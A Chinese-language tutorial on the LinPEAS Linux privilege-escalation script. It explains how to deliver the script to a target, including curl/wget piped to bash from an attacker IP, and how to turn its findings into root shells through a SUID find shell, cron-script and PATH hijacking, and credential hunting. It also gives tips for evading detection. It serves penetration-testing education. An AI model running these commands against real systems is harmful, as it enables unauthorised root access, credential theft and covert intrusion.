Linux权限提升自动化侦察:LinPEAS脚本核心原理与实战应用
1. 项目概述:为什么你需要LinPEAS?
如果你是一名渗透测试工程师、红队成员,或者只是对Linux系统安全感兴趣的安全爱好者,那么你一定遇到过这样的场景:费尽周折拿到一个低权限的Shell,看着那个可怜的$提示符,下一步该做什么?手动翻找配置文件、检查定时任务、查看SUID文件、分析环境变量……这个过程繁琐、耗时,而且极易遗漏关键点。这就是权限提升(Privilege Escalation)的日常,也是从“立足”到“完全控制”的关键一步。
LinPEAS(Linux Privilege Escalation Awesome Script)的出现,就是为了解决这个痛点。它不是一个单一的工具,而是一个功能强大的自动化信息收集脚本,专门为Linux本地权限提升而设计。你可以把它想象成一个经验丰富的“侦察兵”,它会自动、系统性地扫描目标Linux系统的每一个角落,寻找所有可能被利用来提升权限的线索,并将结果以清晰、高亮的方式呈现给你。在CTF比赛、渗透测试项目甚至日常的服务器安全自查中,LinPEAS都能极大地提升你的效率。它不直接进行攻击,而是为你提供一张详尽的“藏宝图”,告诉你哪里有“宝藏”(漏洞、配置错误、弱权限文件等),至于如何挖掘,则考验你的经验和技巧。
2. LinPEAS核心功能与设计思路拆解
LinPEAS的设计哲学是“全面”与“智能”。它不会只检查几个众所周知的点,而是覆盖了数十种权限提升的潜在路径。理解它的检查逻辑,比单纯运行脚本更重要。
2.1 核心检查模块解析
LinPEAS的检查是模块化的,主要围绕以下几个核心方向展开:
- 系统信息与环境侦察:这是基础。脚本会首先收集内核版本、发行版、主机名、网络配置、当前用户/组信息、Sudo权限列表等。这些信息能帮你快速判断系统的“年代”和“体质”,例如,一个非常老的内核版本可能意味着存在未修补的公开漏洞(Dirty Pipe, Dirty Cow等)。
- 文件与目录权限审计:这是权限提升的重灾区。LinPEAS会重点扫描:
- SUID/SGID文件:这些文件在执行时会以文件所有者(SUID)或所属组(SGID)的权限运行。如果找到一个属主是root且可写的SUID文件,或者一个本身存在漏洞的SUID程序(如历史版本的
nmap、vim、find等),就可能直接获取root shell。 - 全局可写文件/目录:任何用户都能写入的文件,尤其是那些在
PATH环境变量中的目录,或者计划任务(cron)脚本所在的目录,是绝佳的“投毒”目标。 - 配置文件与凭据搜索:它会用正则表达式全局搜索包含
password、pass、key、secret等关键词的文件,以及常见的配置文件(如/etc/shadow的备份、*.pub/id_rsa私钥文件、数据库配置文件等),这些往往是通往其他用户或服务的钥匙。
- SUID/SGID文件:这些文件在执行时会以文件所有者(SUID)或所属组(SGID)的权限运行。如果找到一个属主是root且可写的SUID文件,或者一个本身存在漏洞的SUID程序(如历史版本的
- 进程与服务分析:检查正在运行的进程、网络服务(特别是监听在本地回环或所有接口上的服务)、以及它们的运行权限。一个以root权限运行的、存在漏洞的本地服务(例如,老版本的MySQL, Docker API),可能就是突破口。
- 计划任务与系统服务:详细枚举所有用户的cron job、systemd timer和service文件。一个全局可写的cron脚本或一个配置错误的service文件(
ExecStart路径可写),是经典的权限提升路径。 - 容器与虚拟化环境检测:它会检查当前是否处于Docker容器、LXC或Kubernetes Pod中。在容器内的权限提升思路与物理机/虚拟机不同,例如,如果容器以
--privileged特权模式运行,或者挂载了宿主机敏感目录(如/、/var/run/docker.sock),就可能实现容器逃逸。 - 其他杂项检查:包括但不限于:检查
LD_PRELOAD、LD_LIBRARY_PATH等环境变量的滥用可能;检查/etc/sudoers.d/目录下的特殊配置;查找具有capabilities(能力)的特殊二进制文件(如/usr/bin/python3.8 = cap_setuid+ep)。
2.2 智能化与可读性设计
LinPEAS不仅仅是“收集”,更是“分析”和“呈现”。
- 颜色高亮:这是它最直观的特点。输出中,红色(或根据终端主题的醒目色)通常代表“高危”发现,强烈建议你优先查看;黄色代表“中危”或值得注意的信息;白色/绿色则是普通信息。这让你能瞬间聚焦在最有价值的部分。
- 自动化与静默模式:你可以通过参数控制其行为。例如,
-a参数进行所有检查(包括一些耗时较长的),而-s(静默模式)则只输出高危发现,适合在需要隐蔽的场景下快速评估。 - 持续更新:LinPEAS是活跃的开源项目,社区不断根据新的CVE漏洞、新的提权技术更新其检查规则。例如,当一个新的内核提权漏洞(如CVE-2021-4034 pkexec)公开后,LinPEAS很快会加入对应的检测逻辑。
3. 获取、部署与基础使用详解
3.1 获取LinPEAS的多种方式
在实战中,你拿到Shell的环境千差万别,因此需要掌握多种上传或下载LinPEAS的方法。
本地下载,直接上传:如果你的攻击机和目标机网络互通(例如在同一内网),这是最直接的方式。
# 在你的攻击机(Kali Linux等)上 git clone https://github.com/carlospolop/PEASS-ng.git cd PEASS-ng/linPEAS/ # 使用Python简易HTTP服务器 python3 -m http.server 8000 # 或者使用scp(如果目标机有ssh客户端且你知道密码/key) scp linpeas.sh user@target_ip:/tmp/在目标机上,使用
wget或curl下载:cd /tmp wget http://your_attack_ip:8000/linpeas.sh # 或者 curl -L http://your_attack_ip:8000/linpeas.sh -o linpeas.sh无外网连接时的“盲传”:如果目标机无法访问互联网,也没有
wget/curl,就需要一些技巧。- 使用
nc(Netcat):在攻击机监听端口,将文件发送过去。# 攻击机 nc -lvnp 4444 < linpeas.sh # 目标机 nc your_attack_ip 4444 > /tmp/linpeas.sh - 使用
base64编码:将脚本编码成一行字符串,然后在目标机上粘贴解码。适用于有交互式Shell但无法传输文件的情况。# 攻击机 base64 -w0 linpeas.sh # 复制输出的一长串字符串 # 目标机 echo “粘贴那串base64字符串” | base64 -d > /tmp/linpeas.sh - 利用已有服务:如果目标机有正在运行的web服务(如Apache),可以尝试将脚本上传到web目录。
- 使用
注意:上传后,务必记得赋予执行权限:
chmod +x /tmp/linpeas.sh。同时,尽量将脚本放在/tmp或/dev/shm这类所有用户通常都有写权限的临时目录,避免因权限问题无法执行。
3.2 基础执行与参数解读
最基本的执行命令就是:
./linpeas.sh脚本会自动开始全面扫描,输出会非常长,需要滚动查看。
为了更高效地使用,你需要了解几个关键参数:
-a:启用所有检查,包括一些可能较慢的检查(如全盘搜索特定文件)。第一次全面侦察时建议使用。-s:静默模式(-s或--silent)。只输出红色/高危发现,忽略信息和低风险提示。在需要快速判断或输出简洁时非常有用。-P:指定要搜索的密码/关键词。例如./linpeas.sh -P "password\|secret\|api_key",可以自定义搜索模式。-o:将输出同时保存到文件。例如./linpeas.sh -o report.txt。-r:指定报告文件的颜色模式(-r html生成带颜色的HTML报告,便于离线阅读和分析)。
一个典型的快速评估命令可能是:
./linpeas.sh -s -P “passw\|key\|token” -o /tmp/peas_report.txt这条命令会进行静默扫描,重点搜索凭据,并将结果输出到文件。
4. 实战演练:解读LinPEAS输出与提权思路转化
运行LinPEAS后,面对海量输出,新手容易不知所措。关键在于学会“抓大放小”,优先关注高亮部分。下面我们模拟分析一段典型的输出。
4.1 场景一:危险的SUID文件
假设你在输出中看到如下高亮行:
[+] SUID - Check easy privesc, exploits and write perms [i] https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid ... /usr/bin/find ... root ... SUID /usr/local/bin/custom_app ... root ... SUID/usr/bin/find是经典的具有SUID权限且常被用于提权的程序。如果它的版本较旧,可能存在已知漏洞。更常见的是利用其本身的特性:
# 如果find有SUID权限,我们可以利用-exec参数执行命令 /usr/bin/find . -exec /bin/sh -p \; -quit这里的-p参数是为了保留SUID带来的特权。如果执行成功,你将获得一个root shell。
而/usr/local/bin/custom_app是一个自定义程序,这更危险。首先检查它是否可写:
ls -la /usr/local/bin/custom_app如果它全局可写,你可以直接用你的恶意代码覆盖它,然后等待root用户或某个以root权限运行的服务来执行它。如果不可写,则尝试用strings、ltrace、strace等工具分析这个二进制文件,看它是否执行了其他外部命令(可能存在命令注入),或者是否加载了某个我们可以控制的配置文件或库文件(LD_PRELOAD攻击)。
4.2 场景二:被遗忘的Cron Job
在计划任务部分,你可能会发现:
[+] Cron jobs ... * * * * * root /opt/scripts/backup.sh立即检查这个/opt/scripts/backup.sh:
ls -la /opt/scripts/backup.sh如果发现这个脚本是全局可写的,那么恭喜你,提权几乎完成了。你可以直接编辑这个文件,加入你的反向Shell或添加一个SUID Shell的命令:
echo ‘cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash’ >> /opt/scripts/backup.sh然后等待最多一分钟(因为cron是每分钟运行一次),/tmp/rootbash就会被创建并设置SUID位。接着执行/tmp/rootbash -p即可获得root shell。
4.3 场景三:环境变量滥用与PATH劫持
LinPEAS会检查用户的PATH环境变量以及是否存在全局可写的路径。假设你看到:
[+] PATH ... /home/user/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin [+] Writables in PATH ... /usr/local/sbin is writable by user ‘www-data‘!这意味着www-data用户可以向/usr/local/sbin目录写入文件。而PATH环境变量中,/usr/local/sbin的优先级高于/usr/sbin和/usr/bin。如果系统中有一个以root权限运行的脚本或服务,它调用了某个命令(比如service或ifconfig)但没有使用绝对路径,系统就会在PATH中按顺序查找。
这时,你可以在/usr/local/sbin下创建一个名为service的恶意脚本:
cat > /usr/local/sbin/service << ‘EOF‘ #!/bin/bash cp /bin/bash /tmp/rootbash2 && chmod +s /tmp/rootbash2 EOF chmod +x /usr/local/sbin/service然后,你需要等待或触发一个root权限的进程去执行service命令。一旦执行,你的后门就被植入了。
4.4 场景四:敏感的配置文件与凭据泄露
LinPEAS的凭据搜索功能非常强大。你可能会在输出中发现:
[+] Searching passwords in config PHP files ... /var/www/html/config.php contains: define(‘DB_PASSWORD‘, ‘SuperSecretDBPass123!‘) [+] Searching *password* or *credential* files ... /home/developer/.git-credentials contains: https://user:GitHubTokenXYZ@github.com这些发现可能不会直接给你root权限,但它们是横向移动和扩大战果的关键。数据库密码可以让你访问可能存储更多用户数据的数据;Git凭证可能让你访问包含源代码、配置甚至其他环境密钥的私有仓库。永远不要忽视这些“非直接”的发现。
5. 高级技巧与定制化使用
当你熟悉了基础用法后,可以探索更高级的用法,让LinPEAS更贴合你的需求。
5.1 结合其他工具进行深度利用
LinPEAS提供线索,其他工具负责利用。一个高效的流程是:
- 快速扫描:先运行
./linpeas.sh -s快速获取高危线索。 - 针对性验证:对发现的SUID文件,使用
searchsploit或在线漏洞库查找公开漏洞。# 在攻击机上 searchsploit find 4.6 - 手动深入:对于可疑的自定义程序或服务,使用
strace进行动态分析。
这可以帮你看到它尝试打开或执行哪些文件,从而发现潜在的劫持点。strace /usr/local/bin/custom_app 2>&1 | grep -i “open\|exec\|access”
5.2 自定义检查规则
LinPEAS的脚本是开源的Bash脚本,这意味着你可以根据目标环境定制它。例如,如果你在针对一个特定的企业环境,你知道他们常用某个特定的中间件(如WebLogic),你可以修改脚本,添加对该中间件默认路径、配置文件和日志的检查。
- 克隆PEASS-ng仓库。
- 找到
linpeas.sh中负责文件搜索的部分(通常有filestoread变量或类似的数组)。 - 添加你关心的路径,例如:
# 在适当的数组里添加 filestoread+=("/opt/oracle/weblogic/domains/*/config/config.xml") - 保存并上传你的定制版linpeas到目标。
5.3 规避检测与隐蔽执行
在高度戒备的环境中,直接运行一个从互联网下载的、名为linpeas.sh的脚本可能会触发警报。
- 重命名:将脚本改名为一个看起来无害的名字,如
sysinfo.sh或logcheck.sh。 - 分块执行:LinPEAS的某些部分可以独立运行。你可以只提取检查SUID或Cron的代码片段来执行。
- 无文件执行:最隐蔽的方式是直接通过管道从网络执行,不落盘。
但这种方式如果网络中断,脚本也会停止,且无法使用curl -s http://your_attack_ip:8000/linpeas.sh | bash # 或者 wget -qO- http://your_attack_ip:8000/linpeas.sh | bash-o参数保存报告。
6. 常见问题排查与实战心得
6.1 脚本无法运行或报错
- 问题:
bash: ./linpeas.sh: /bin/bash^M: bad interpreter- 原因:脚本是在Windows环境下编辑的,行尾是
CRLF(\r\n),而Linux需要LF(\n)。 - 解决:在目标机上使用
dos2unix linpeas.sh命令转换,或者用sed -i ‘s/\r$//‘ linpeas.sh删除回车符。
- 原因:脚本是在Windows环境下编辑的,行尾是
- 问题:脚本执行一半被中断,或
Permission denied。- 原因:目标环境可能设置了资源限制,或者对某些目录没有读取权限。
- 解决:尝试使用更轻量的参数,如
-s。或者,分部分执行。LinPEAS的代码结构清晰,你可以尝试只运行你感兴趣的部分(比如只搜索文件部分)。
6.2 输出中没有红色/高危发现
这很常见,尤其是在经过良好加固的系统上。不要气馁,这并不意味着没有提权路径。
- 深入黄色信息:仔细查看所有黄色标记的输出。一个配置“奇怪”(非默认)但非致命的服务、一个不常见的用户、一个看起来多余的安装软件,都可能是突破口。
- 手动复查经典路径:LinPEAS虽然全面,但不可能100%覆盖所有场景。手动检查以下内容:
sudo -l:仔细查看当前用户能以root身份运行哪些命令,并且注意是否不需要密码(NOPASSWD)。find / -type f -perm -4000 2>/dev/null:手动查找SUID文件。getcap -r / 2>/dev/null:查找具有特殊能力的文件。- 检查
/etc/fstab中是否有配置不当的挂载选项(如noexec缺失)。
- 考虑内核漏洞:如果系统内核版本很老,去
https://www.exploit-db.com/搜索对应版本的本地提权漏洞。LinPEAS通常会在系统信息部分高亮显示已知的有漏洞内核版本。
6.3 我的实战心得
- 先快后慢,先静后动:进入新环境,先用
-s参数快速扫一遍,有个整体印象。如果没有明显收获,再运行-a进行全面深度扫描。 - 结合上下文:LinPEAS给出的是一条条线索,你需要结合你对目标系统的了解(这是一个Web服务器?数据库服务器?开发机?)来串联线索。例如,在Web服务器上,就要格外关注Web目录、Web配置文件和服务账户的权限。
- 善用
grep:LinPEAS的输出很长,学会用grep过滤关键信息。例如,运行./linpeas.sh | grep -i “writable\|suid\|cron”可以快速定位相关章节。 - 不要完全依赖自动化:LinPEAS是强大的助手,但不能替代你的思考。它可能会误报(将一些正常配置高亮),也可能会漏报(特别是针对高度定制化的环境)。培养手动枚举的能力同样重要。
- 注意行为痕迹:LinPEAS的某些检查(如全盘搜索)会产生大量的磁盘I/O和日志。在需要高度隐蔽的对抗中,要权衡侦察的深度与暴露的风险。
